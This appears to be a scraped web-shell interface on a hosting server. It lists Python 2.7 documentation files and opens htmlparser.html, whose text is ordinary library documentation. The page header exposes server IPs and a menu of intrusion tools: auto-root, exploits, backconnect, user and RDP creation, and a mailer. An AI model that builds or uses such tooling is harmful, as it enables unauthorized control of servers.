Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.130.94
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python2.7 /
html /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3.html
63.71
KB
-rw-r--r--
__builtin__.html
11.79
KB
-rw-r--r--
__future__.html
15.58
KB
-rw-r--r--
__main__.html
8.33
KB
-rw-r--r--
_winreg.html
73.99
KB
-rw-r--r--
abc.html
26.82
KB
-rw-r--r--
aepack.html
15.47
KB
-rw-r--r--
aetools.html
18.79
KB
-rw-r--r--
aetypes.html
27.08
KB
-rw-r--r--
aifc.html
29.59
KB
-rw-r--r--
al.html
22.13
KB
-rw-r--r--
allos.html
35.48
KB
-rw-r--r--
anydbm.html
19.31
KB
-rw-r--r--
archiving.html
10.64
KB
-rw-r--r--
argparse.html
269.59
KB
-rw-r--r--
array.html
35.35
KB
-rw-r--r--
ast.html
42.42
KB
-rw-r--r--
asynchat.html
35.84
KB
-rw-r--r--
asyncore.html
43.22
KB
-rw-r--r--
atexit.html
19.23
KB
-rw-r--r--
audioop.html
41.32
KB
-rw-r--r--
autogil.html
9.77
KB
-rw-r--r--
base64.html
24.8
KB
-rw-r--r--
basehttpserver.html
40.6
KB
-rw-r--r--
bastion.html
13.02
KB
-rw-r--r--
bdb.html
50.06
KB
-rw-r--r--
binascii.html
26.64
KB
-rw-r--r--
binhex.html
12.66
KB
-rw-r--r--
bisect.html
28.52
KB
-rw-r--r--
bsddb.html
32.02
KB
-rw-r--r--
bz2.html
31.92
KB
-rw-r--r--
calendar.html
50.16
KB
-rw-r--r--
carbon.html
54.14
KB
-rw-r--r--
cd.html
35.24
KB
-rw-r--r--
cgi.html
58.4
KB
-rw-r--r--
cgihttpserver.html
15.12
KB
-rw-r--r--
cgitb.html
13.5
KB
-rw-r--r--
chunk.html
17.41
KB
-rw-r--r--
cmath.html
32.41
KB
-rw-r--r--
cmd.html
32.69
KB
-rw-r--r--
code.html
28.92
KB
-rw-r--r--
codecs.html
125.92
KB
-rw-r--r--
codeop.html
16.42
KB
-rw-r--r--
collections.html
150.36
KB
-rw-r--r--
colorpicker.html
9.02
KB
-rw-r--r--
colorsys.html
14.38
KB
-rw-r--r--
commands.html
16.63
KB
-rw-r--r--
compileall.html
21.18
KB
-rw-r--r--
compiler.html
78.14
KB
-rw-r--r--
configparser.html
73.92
KB
-rw-r--r--
constants.html
14.68
KB
-rw-r--r--
contextlib.html
22.91
KB
-rw-r--r--
cookie.html
45.38
KB
-rw-r--r--
cookielib.html
102.78
KB
-rw-r--r--
copy.html
14.21
KB
-rw-r--r--
copy_reg.html
15.82
KB
-rw-r--r--
crypt.html
11.62
KB
-rw-r--r--
crypto.html
8.35
KB
-rw-r--r--
csv.html
82.79
KB
-rw-r--r--
ctypes.html
280.57
KB
-rw-r--r--
curses.ascii.html
28.97
KB
-rw-r--r--
curses.html
200.94
KB
-rw-r--r--
curses.panel.html
18.43
KB
-rw-r--r--
custominterp.html
8.59
KB
-rw-r--r--
datatypes.html
18.84
KB
-rw-r--r--
datetime.html
261.02
KB
-rw-r--r--
dbhash.html
18.4
KB
-rw-r--r--
dbm.html
14.75
KB
-rw-r--r--
debug.html
11.28
KB
-rw-r--r--
decimal.html
239.14
KB
-rw-r--r--
development.html
15.27
KB
-rw-r--r--
difflib.html
96.93
KB
-rw-r--r--
dircache.html
13.66
KB
-rw-r--r--
dis.html
96.52
KB
-rw-r--r--
distribution.html
8.27
KB
-rw-r--r--
distutils.html
10.97
KB
-rw-r--r--
dl.html
19.27
KB
-rw-r--r--
doctest.html
193.18
KB
-rw-r--r--
docxmlrpcserver.html
20.02
KB
-rw-r--r--
dumbdbm.html
16.74
KB
-rw-r--r--
dummy_thread.html
11.04
KB
-rw-r--r--
dummy_threading.html
9.96
KB
-rw-r--r--
easydialogs.html
38.83
KB
-rw-r--r--
email-examples.html
47.2
KB
-rw-r--r--
email.charset.html
32.45
KB
-rw-r--r--
email.encoders.html
14.09
KB
-rw-r--r--
email.errors.html
19.2
KB
-rw-r--r--
email.generator.html
24.78
KB
-rw-r--r--
email.header.html
31.12
KB
-rw-r--r--
email.html
55.3
KB
-rw-r--r--
email.iterators.html
14.22
KB
-rw-r--r--
email.message.html
74.91
KB
-rw-r--r--
email.mime.html
34.51
KB
-rw-r--r--
email.parser.html
37.09
KB
-rw-r--r--
email.utils.html
30.04
KB
-rw-r--r--
ensurepip.html
20.21
KB
-rw-r--r--
errno.html
52.31
KB
-rw-r--r--
exceptions.html
73.4
KB
-rw-r--r--
fcntl.html
27.85
KB
-rw-r--r--
filecmp.html
26.49
KB
-rw-r--r--
fileformats.html
10.21
KB
-rw-r--r--
fileinput.html
29.36
KB
-rw-r--r--
filesys.html
11.55
KB
-rw-r--r--
fl.html
71.58
KB
-rw-r--r--
fm.html
15
KB
-rw-r--r--
fnmatch.html
17.78
KB
-rw-r--r--
formatter.html
43.91
KB
-rw-r--r--
fpectl.html
17.84
KB
-rw-r--r--
fpformat.html
12.65
KB
-rw-r--r--
fractions.html
27.17
KB
-rw-r--r--
framework.html
44.24
KB
-rw-r--r--
frameworks.html
8.11
KB
-rw-r--r--
ftplib.html
56.56
KB
-rw-r--r--
functions.html
216.84
KB
-rw-r--r--
functools.html
31.06
KB
-rw-r--r--
future_builtins.html
15.9
KB
-rw-r--r--
gc.html
30.74
KB
-rw-r--r--
gdbm.html
19.35
KB
-rw-r--r--
gensuitemodule.html
14.54
KB
-rw-r--r--
getopt.html
26.56
KB
-rw-r--r--
getpass.html
12.5
KB
-rw-r--r--
gettext.html
91.32
KB
-rw-r--r--
gl.html
26.71
KB
-rw-r--r--
glob.html
15.42
KB
-rw-r--r--
grp.html
12.33
KB
-rw-r--r--
gzip.html
21.95
KB
-rw-r--r--
hashlib.html
27.4
KB
-rw-r--r--
heapq.html
36.72
KB
-rw-r--r--
hmac.html
15.97
KB
-rw-r--r--
hotshot.html
22.69
KB
-rw-r--r--
htmllib.html
29.9
KB
-rw-r--r--
htmlparser.html
45.11
KB
-rw-r--r--
httplib.html
78.55
KB
-rw-r--r--
i18n.html
10.61
KB
-rw-r--r--
ic.html
22.03
KB
-rw-r--r--
idle.html
45.74
KB
-rw-r--r--
imageop.html
20.94
KB
-rw-r--r--
imaplib.html
69.9
KB
-rw-r--r--
imgfile.html
14.91
KB
-rw-r--r--
imghdr.html
13.43
KB
-rw-r--r--
imp.html
41.48
KB
-rw-r--r--
importlib.html
10.27
KB
-rw-r--r--
imputil.html
36.11
KB
-rw-r--r--
index.html
82.54
KB
-rw-r--r--
inspect.html
64.31
KB
-rw-r--r--
internet.html
26.77
KB
-rw-r--r--
intro.html
9.76
KB
-rw-r--r--
io.html
122.3
KB
-rw-r--r--
ipc.html
17.18
KB
-rw-r--r--
itertools.html
129.91
KB
-rw-r--r--
jpeg.html
15.36
KB
-rw-r--r--
json.html
79.09
KB
-rw-r--r--
keyword.html
9.27
KB
-rw-r--r--
language.html
12.35
KB
-rw-r--r--
linecache.html
12.7
KB
-rw-r--r--
locale.html
68.54
KB
-rw-r--r--
logging.config.html
82.23
KB
-rw-r--r--
logging.handlers.html
91.96
KB
-rw-r--r--
logging.html
123.15
KB
-rw-r--r--
mac.html
24.49
KB
-rw-r--r--
macos.html
18.51
KB
-rw-r--r--
macosa.html
14.55
KB
-rw-r--r--
macostools.html
19.67
KB
-rw-r--r--
macpath.html
9.19
KB
-rw-r--r--
mailbox.html
185.53
KB
-rw-r--r--
mailcap.html
15.3
KB
-rw-r--r--
markup.html
20.37
KB
-rw-r--r--
marshal.html
19.88
KB
-rw-r--r--
math.html
50.52
KB
-rw-r--r--
md5.html
16.65
KB
-rw-r--r--
mhlib.html
30.04
KB
-rw-r--r--
mimetools.html
23.84
KB
-rw-r--r--
mimetypes.html
35.82
KB
-rw-r--r--
mimewriter.html
18.19
KB
-rw-r--r--
mimify.html
16.96
KB
-rw-r--r--
miniaeframe.html
14.5
KB
-rw-r--r--
misc.html
7.77
KB
-rw-r--r--
mm.html
10.19
KB
-rw-r--r--
mmap.html
33.52
KB
-rw-r--r--
modulefinder.html
19.85
KB
-rw-r--r--
modules.html
9.68
KB
-rw-r--r--
msilib.html
72.78
KB
-rw-r--r--
msvcrt.html
24.1
KB
-rw-r--r--
multifile.html
28.82
KB
-rw-r--r--
multiprocessing.html
423.97
KB
-rw-r--r--
mutex.html
13.56
KB
-rw-r--r--
netdata.html
19.28
KB
-rw-r--r--
netrc.html
15.51
KB
-rw-r--r--
new.html
16.1
KB
-rw-r--r--
nis.html
13.19
KB
-rw-r--r--
nntplib.html
51.08
KB
-rw-r--r--
numbers.html
40.91
KB
-rw-r--r--
numeric.html
14.85
KB
-rw-r--r--
operator.html
118.32
KB
-rw-r--r--
optparse.html
251.08
KB
-rw-r--r--
os.html
270.49
KB
-rw-r--r--
os.path.html
48.87
KB
-rw-r--r--
ossaudiodev.html
49.79
KB
-rw-r--r--
othergui.html
9.98
KB
-rw-r--r--
parser.html
44.52
KB
-rw-r--r--
pdb.html
41.44
KB
-rw-r--r--
persistence.html
16.25
KB
-rw-r--r--
pickle.html
107.94
KB
-rw-r--r--
pickletools.html
13.21
KB
-rw-r--r--
pipes.html
21.85
KB
-rw-r--r--
pkgutil.html
30.59
KB
-rw-r--r--
platform.html
40.14
KB
-rw-r--r--
plistlib.html
20.96
KB
-rw-r--r--
popen2.html
30.13
KB
-rw-r--r--
poplib.html
27.93
KB
-rw-r--r--
posix.html
17.27
KB
-rw-r--r--
posixfile.html
23.68
KB
-rw-r--r--
pprint.html
36.42
KB
-rw-r--r--
profile.html
76.65
KB
-rw-r--r--
pty.html
11.42
KB
-rw-r--r--
pwd.html
13.53
KB
-rw-r--r--
py_compile.html
13.33
KB
-rw-r--r--
pyclbr.html
18.14
KB
-rw-r--r--
pydoc.html
14.33
KB
-rw-r--r--
pyexpat.html
93.28
KB
-rw-r--r--
python.html
13.53
KB
-rw-r--r--
queue.html
29.64
KB
-rw-r--r--
quopri.html
14.5
KB
-rw-r--r--
random.html
47.78
KB
-rw-r--r--
re.html
163.11
KB
-rw-r--r--
readline.html
41.2
KB
-rw-r--r--
repr.html
24.57
KB
-rw-r--r--
resource.html
30.86
KB
-rw-r--r--
restricted.html
12.69
KB
-rw-r--r--
rexec.html
43.59
KB
-rw-r--r--
rfc822.html
51.25
KB
-rw-r--r--
rlcompleter.html
15.29
KB
-rw-r--r--
robotparser.html
15.01
KB
-rw-r--r--
runpy.html
23.55
KB
-rw-r--r--
sched.html
21.76
KB
-rw-r--r--
scrolledtext.html
10.67
KB
-rw-r--r--
select.html
50.17
KB
-rw-r--r--
sets.html
39.92
KB
-rw-r--r--
sgi.html
11.09
KB
-rw-r--r--
sgmllib.html
38.77
KB
-rw-r--r--
sha.html
14.55
KB
-rw-r--r--
shelve.html
32.93
KB
-rw-r--r--
shlex.html
38.43
KB
-rw-r--r--
shutil.html
49.49
KB
-rw-r--r--
signal.html
36.52
KB
-rw-r--r--
simplehttpserver.html
21.57
KB
-rw-r--r--
simplexmlrpcserver.html
40.41
KB
-rw-r--r--
site.html
29
KB
-rw-r--r--
smtpd.html
15.64
KB
-rw-r--r--
smtplib.html
51.86
KB
-rw-r--r--
sndhdr.html
12.05
KB
-rw-r--r--
socket.html
126.94
KB
-rw-r--r--
socketserver.html
81.38
KB
-rw-r--r--
someos.html
17.09
KB
-rw-r--r--
spwd.html
12.25
KB
-rw-r--r--
sqlite3.html
154.12
KB
-rw-r--r--
ssl.html
214.5
KB
-rw-r--r--
stat.html
41.11
KB
-rw-r--r--
statvfs.html
13.24
KB
-rw-r--r--
stdtypes.html
309.83
KB
-rw-r--r--
string.html
129.58
KB
-rw-r--r--
stringio.html
21.1
KB
-rw-r--r--
stringprep.html
21.4
KB
-rw-r--r--
strings.html
16.42
KB
-rw-r--r--
struct.html
47.68
KB
-rw-r--r--
subprocess.html
117
KB
-rw-r--r--
sun.html
7.83
KB
-rw-r--r--
sunau.html
35.43
KB
-rw-r--r--
sunaudio.html
21.05
KB
-rw-r--r--
symbol.html
9.06
KB
-rw-r--r--
symtable.html
29.03
KB
-rw-r--r--
sys.html
118.12
KB
-rw-r--r--
sysconfig.html
28.8
KB
-rw-r--r--
syslog.html
21.29
KB
-rw-r--r--
tabnanny.html
12.78
KB
-rw-r--r--
tarfile.html
99.54
KB
-rw-r--r--
telnetlib.html
30.46
KB
-rw-r--r--
tempfile.html
35.02
KB
-rw-r--r--
termios.html
19.22
KB
-rw-r--r--
test.html
61.42
KB
-rw-r--r--
textwrap.html
32.28
KB
-rw-r--r--
thread.html
22.67
KB
-rw-r--r--
threading.html
92.04
KB
-rw-r--r--
time.html
65.55
KB
-rw-r--r--
timeit.html
44.38
KB
-rw-r--r--
tix.html
56.73
KB
-rw-r--r--
tk.html
26.76
KB
-rw-r--r--
tkinter.html
86.67
KB
-rw-r--r--
token.html
27.31
KB
-rw-r--r--
tokenize.html
21.69
KB
-rw-r--r--
trace.html
33.91
KB
-rw-r--r--
traceback.html
44.22
KB
-rw-r--r--
ttk.html
123.83
KB
-rw-r--r--
tty.html
10.95
KB
-rw-r--r--
turtle.html
246.17
KB
-rw-r--r--
types.html
33.66
KB
-rw-r--r--
undoc.html
25.54
KB
-rw-r--r--
unicodedata.html
22.64
KB
-rw-r--r--
unittest.html
246.75
KB
-rw-r--r--
unix.html
11.9
KB
-rw-r--r--
urllib.html
71.61
KB
-rw-r--r--
urllib2.html
128.77
KB
-rw-r--r--
urlparse.html
49.04
KB
-rw-r--r--
user.html
13.41
KB
-rw-r--r--
userdict.html
32.96
KB
-rw-r--r--
uu.html
13.25
KB
-rw-r--r--
uuid.html
33.55
KB
-rw-r--r--
warnings.html
51.86
KB
-rw-r--r--
wave.html
29.08
KB
-rw-r--r--
weakref.html
41.14
KB
-rw-r--r--
webbrowser.html
29.53
KB
-rw-r--r--
whichdb.html
10.44
KB
-rw-r--r--
windows.html
10.37
KB
-rw-r--r--
winsound.html
22.56
KB
-rw-r--r--
wsgiref.html
94.38
KB
-rw-r--r--
xdrlib.html
38.05
KB
-rw-r--r--
xml.dom.html
110.39
KB
-rw-r--r--
xml.dom.minidom.html
45.23
KB
-rw-r--r--
xml.dom.pulldom.html
16.32
KB
-rw-r--r--
xml.etree.elementtree.html
124.2
KB
-rw-r--r--
xml.html
18.76
KB
-rw-r--r--
xml.sax.handler.html
47.5
KB
-rw-r--r--
xml.sax.html
26.04
KB
-rw-r--r--
xml.sax.reader.html
51.4
KB
-rw-r--r--
xml.sax.utils.html
18.11
KB
-rw-r--r--
xmlrpclib.html
71.79
KB
-rw-r--r--
zipfile.html
67.26
KB
-rw-r--r--
zipimport.html
24.32
KB
-rw-r--r--
zlib.html
34.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : htmlparser.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="generator" content="Docutils 0.17.1: http://docutils.sourceforge.net/" /> <title>19.1. HTMLParser — Simple HTML and XHTML parser — Python 2.7.18 documentation</title> <link rel="stylesheet" type="text/css" href="../_static/pygments.css" /> <link rel="stylesheet" type="text/css" href="../_static/classic.css" /> <script data-url_root="../" id="documentation_options" src="../_static/documentation_options.js"></script> <script src="../_static/jquery.js"></script> <script src="../_static/underscore.js"></script> <script src="../_static/doctools.js"></script> <script src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 2.7.18 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="index" title="Index" href="../genindex.html" /> <link rel="search" title="Search" href="../search.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="next" title="19.2. sgmllib — Simple SGML parser" href="sgmllib.html" /> <link rel="prev" title="19. Structured Markup Processing Tools" href="markup.html" /> <link rel="shortcut icon" type="image/png" href="../_static/py.png" /> <link rel="canonical" href="file:///usr/share/doc/python2.7/html/library/htmlparser.html" /> <script type="text/javascript" src="../_static/copybutton.js"></script> </head><body> <div id="outdated-warning" style="padding: .5em; text-align: center; background-color: #FFBABA; color: #6A0E0E;"> This document is for an old version of Python that is <a href="https://devguide.python.org/devcycle/#end-of-life-branches">no longer supported</a>. You should install the python3 and python3-doc packages and read the <a href="file:///usr/share/doc/python3-doc/html/library/htmlparser.html"> Python documentation for the Python3 version packaged in this release</a>. </div> <div class="related" role="navigation" aria-label="related navigation"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="sgmllib.html" title="19.2. sgmllib — Simple SGML parser" accesskey="N">next</a> |</li> <li class="right" > <a href="markup.html" title="19. Structured Markup Processing Tools" accesskey="P">previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="https://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.18 documentation</a> » </li> <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> »</li> <li class="nav-item nav-item-2"><a href="markup.html" accesskey="U"><span class="section-number">19. </span>Structured Markup Processing Tools</a> »</li> <li class="nav-item nav-item-this"><a href=""><span class="section-number">19.1. </span><code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code> — Simple HTML and XHTML parser</a></li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <section id="module-HTMLParser"> <span id="htmlparser-simple-html-and-xhtml-parser"></span><h1><span class="section-number">19.1. </span><a class="reference internal" href="#module-HTMLParser" title="HTMLParser: A simple parser that can handle HTML and XHTML."><code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> — Simple HTML and XHTML parser<a class="headerlink" href="#module-HTMLParser" title="Permalink to this headline">¶</a></h1> <div class="admonition note"> <p class="admonition-title">Note</p> <p>The <a class="reference internal" href="#module-HTMLParser" title="HTMLParser: A simple parser that can handle HTML and XHTML."><code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> module has been renamed to <code class="xref py py-mod docutils literal notranslate"><span class="pre">html.parser</span></code> in Python 3. The <a class="reference internal" href="../glossary.html#term-2to3"><span class="xref std std-term">2to3</span></a> tool will automatically adapt imports when converting your sources to Python 3.</p> </div> <div class="versionadded"> <p><span class="versionmodified added">New in version 2.2.</span></p> </div> <p id="index-0"><strong>Source code:</strong> <a class="reference external" href="https://github.com/python/cpython/tree/2.7/Lib/HTMLParser.py">Lib/HTMLParser.py</a></p> <hr class="docutils" /> <p>This module defines a class <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> which serves as the basis for parsing text files formatted in HTML (HyperText Mark-up Language) and XHTML. Unlike the parser in <a class="reference internal" href="htmllib.html#module-htmllib" title="htmllib: A parser for HTML documents. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmllib</span></code></a>, this parser is not based on the SGML parser in <a class="reference internal" href="sgmllib.html#module-sgmllib" title="sgmllib: Only as much of an SGML parser as needed to parse HTML. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">sgmllib</span></code></a>.</p> <dl class="py class"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser"> <em class="property"><span class="pre">class</span><span class="w"> </span></em><span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">HTMLParser</span></span><a class="headerlink" href="#HTMLParser.HTMLParser" title="Permalink to this definition">¶</a></dt> <dd><p>An <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> instance is fed HTML data and calls handler methods when start tags, end tags, text, comments, and other markup elements are encountered. The user should subclass <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> and override its methods to implement the desired behavior.</p> <p>The <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class is instantiated without arguments.</p> <p>Unlike the parser in <a class="reference internal" href="htmllib.html#module-htmllib" title="htmllib: A parser for HTML documents. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmllib</span></code></a>, this parser does not check that end tags match start tags or call the end-tag handler for elements which are closed implicitly by closing an outer element.</p> </dd></dl> <p>An exception is defined as well:</p> <dl class="py exception"> <dt class="sig sig-object py" id="HTMLParser.HTMLParseError"> <em class="property"><span class="pre">exception</span><span class="w"> </span></em><span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">HTMLParseError</span></span><a class="headerlink" href="#HTMLParser.HTMLParseError" title="Permalink to this definition">¶</a></dt> <dd><p><a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> is able to handle broken markup, but in some cases it might raise this exception when it encounters an error while parsing. This exception provides three attributes: <code class="xref py py-attr docutils literal notranslate"><span class="pre">msg</span></code> is a brief message explaining the error, <code class="xref py py-attr docutils literal notranslate"><span class="pre">lineno</span></code> is the number of the line on which the broken construct was detected, and <code class="xref py py-attr docutils literal notranslate"><span class="pre">offset</span></code> is the number of characters into the line at which the construct starts.</p> </dd></dl> <section id="example-html-parser-application"> <h2><span class="section-number">19.1.1. </span>Example HTML Parser Application<a class="headerlink" href="#example-html-parser-application" title="Permalink to this headline">¶</a></h2> <p>As a basic example, below is a simple HTML parser that uses the <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class to print out start tags, end tags and data as they are encountered:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">HTMLParser</span> <span class="kn">import</span> <span class="n">HTMLParser</span> <span class="c1"># create a subclass and override the handler methods</span> <span class="k">class</span> <span class="nc">MyHTMLParser</span><span class="p">(</span><span class="n">HTMLParser</span><span class="p">):</span> <span class="k">def</span> <span class="nf">handle_starttag</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">tag</span><span class="p">,</span> <span class="n">attrs</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Encountered a start tag:"</span><span class="p">,</span> <span class="n">tag</span> <span class="k">def</span> <span class="nf">handle_endtag</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">tag</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Encountered an end tag :"</span><span class="p">,</span> <span class="n">tag</span> <span class="k">def</span> <span class="nf">handle_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> <span class="nb">print</span> <span class="s2">"Encountered some data :"</span><span class="p">,</span> <span class="n">data</span> <span class="c1"># instantiate the parser and fed it some HTML</span> <span class="n">parser</span> <span class="o">=</span> <span class="n">MyHTMLParser</span><span class="p">()</span> <span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="s1">'<html><head><title>Test</title></head>'</span> <span class="s1">'<body><h1>Parse me!</h1></body></html>'</span><span class="p">)</span> </pre></div> </div> <p>The output will then be:</p> <div class="highlight-none notranslate"><div class="highlight"><pre><span></span>Encountered a start tag: html Encountered a start tag: head Encountered a start tag: title Encountered some data : Test Encountered an end tag : title Encountered an end tag : head Encountered a start tag: body Encountered a start tag: h1 Encountered some data : Parse me! Encountered an end tag : h1 Encountered an end tag : body Encountered an end tag : html </pre></div> </div> </section> <section id="htmlparser-methods"> <h2><span class="section-number">19.1.2. </span><a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> Methods<a class="headerlink" href="#htmlparser-methods" title="Permalink to this headline">¶</a></h2> <p><a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> instances have the following methods:</p> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.feed"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">feed</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">data</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.feed" title="Permalink to this definition">¶</a></dt> <dd><p>Feed some text to the parser. It is processed insofar as it consists of complete elements; incomplete data is buffered until more data is fed or <a class="reference internal" href="#HTMLParser.HTMLParser.close" title="HTMLParser.HTMLParser.close"><code class="xref py py-meth docutils literal notranslate"><span class="pre">close()</span></code></a> is called. <em>data</em> can be either <a class="reference internal" href="functions.html#unicode" title="unicode"><code class="xref py py-class docutils literal notranslate"><span class="pre">unicode</span></code></a> or <a class="reference internal" href="functions.html#str" title="str"><code class="xref py py-class docutils literal notranslate"><span class="pre">str</span></code></a>, but passing <a class="reference internal" href="functions.html#unicode" title="unicode"><code class="xref py py-class docutils literal notranslate"><span class="pre">unicode</span></code></a> is advised.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.close"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">close</span></span><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.close" title="Permalink to this definition">¶</a></dt> <dd><p>Force processing of all buffered data as if it were followed by an end-of-file mark. This method may be redefined by a derived class to define additional processing at the end of the input, but the redefined version should always call the <a class="reference internal" href="#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> base class method <a class="reference internal" href="#HTMLParser.HTMLParser.close" title="HTMLParser.HTMLParser.close"><code class="xref py py-meth docutils literal notranslate"><span class="pre">close()</span></code></a>.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.reset"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">reset</span></span><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.reset" title="Permalink to this definition">¶</a></dt> <dd><p>Reset the instance. Loses all unprocessed data. This is called implicitly at instantiation time.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.getpos"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">getpos</span></span><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.getpos" title="Permalink to this definition">¶</a></dt> <dd><p>Return current line number and offset.</p> </dd></dl> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.get_starttag_text"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">get_starttag_text</span></span><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.get_starttag_text" title="Permalink to this definition">¶</a></dt> <dd><p>Return the text of the most recently opened start tag. This should not normally be needed for structured processing, but may be useful in dealing with HTML “as deployed” or for re-generating input with minimal changes (whitespace between attributes can be preserved, etc.).</p> </dd></dl> <p>The following methods are called when data or markup elements are encountered and they are meant to be overridden in a subclass. The base class implementations do nothing (except for <a class="reference internal" href="#HTMLParser.HTMLParser.handle_startendtag" title="HTMLParser.HTMLParser.handle_startendtag"><code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_startendtag()</span></code></a>):</p> <dl class="py method"> <dt class="sig sig-object py" id="HTMLParser.HTMLParser.handle_starttag"> <span class="sig-prename descclassname"><span class="pre">HTMLParser.</span></span><span class="sig-name descname"><span class="pre">handle_starttag</span></span><span class="sig-paren">(</span><em class="sig-param"><span class="n"><span class="pre">tag</span></span></em>, <em class="sig-param"><span class="n"><span class="pre">attrs</span></span></em><span class="sig-paren">)</span><a class="headerlink" href="#HTMLParser.HTMLParser.handle_starttag" title="Permalink to this definition">¶</a></dt> <dd><p>This method is called to handle the start of a tag (e.g. <code class="docutils literal notranslate"><span class="pre"><div</span> <span class="pre">id="main"></span></code>).</p> <p>The <em>tag</em> argument is the name of the tag converted to lower case. The <em>attrs</em> argument is a list of <code class="docutils literal notranslate"><span class="pre">(name,</span> <span class="pre">value)</span></code> pairs containing the attributes found inside the tag’s <code class="docutils literal notranslate"><span class="pre"><></span></code> brackets. The <em>name</em> will be translated to lower case, and quotes in the <em>value</em> have been removed, and character and entity references have been replaced.</p> <p>For instance, for the tag <code class="docutils literal notranslate"><span class="pre"><A</span> <span class="pre">HREF="https://www.cwi.nl/"></span></code>, this method would be called as <code class="docutils literal notranslate"><span class="pre">handle_starttag('a',</span> <span class="pre">[('href',</span> <span class="pre">'https://www.cwi.nl/')])</span></code>.</p> <div class="versionchanged"> <p><span class="versionmodified changed">Changed in version 2.6: </span>All entity references from <a class="reference internal" 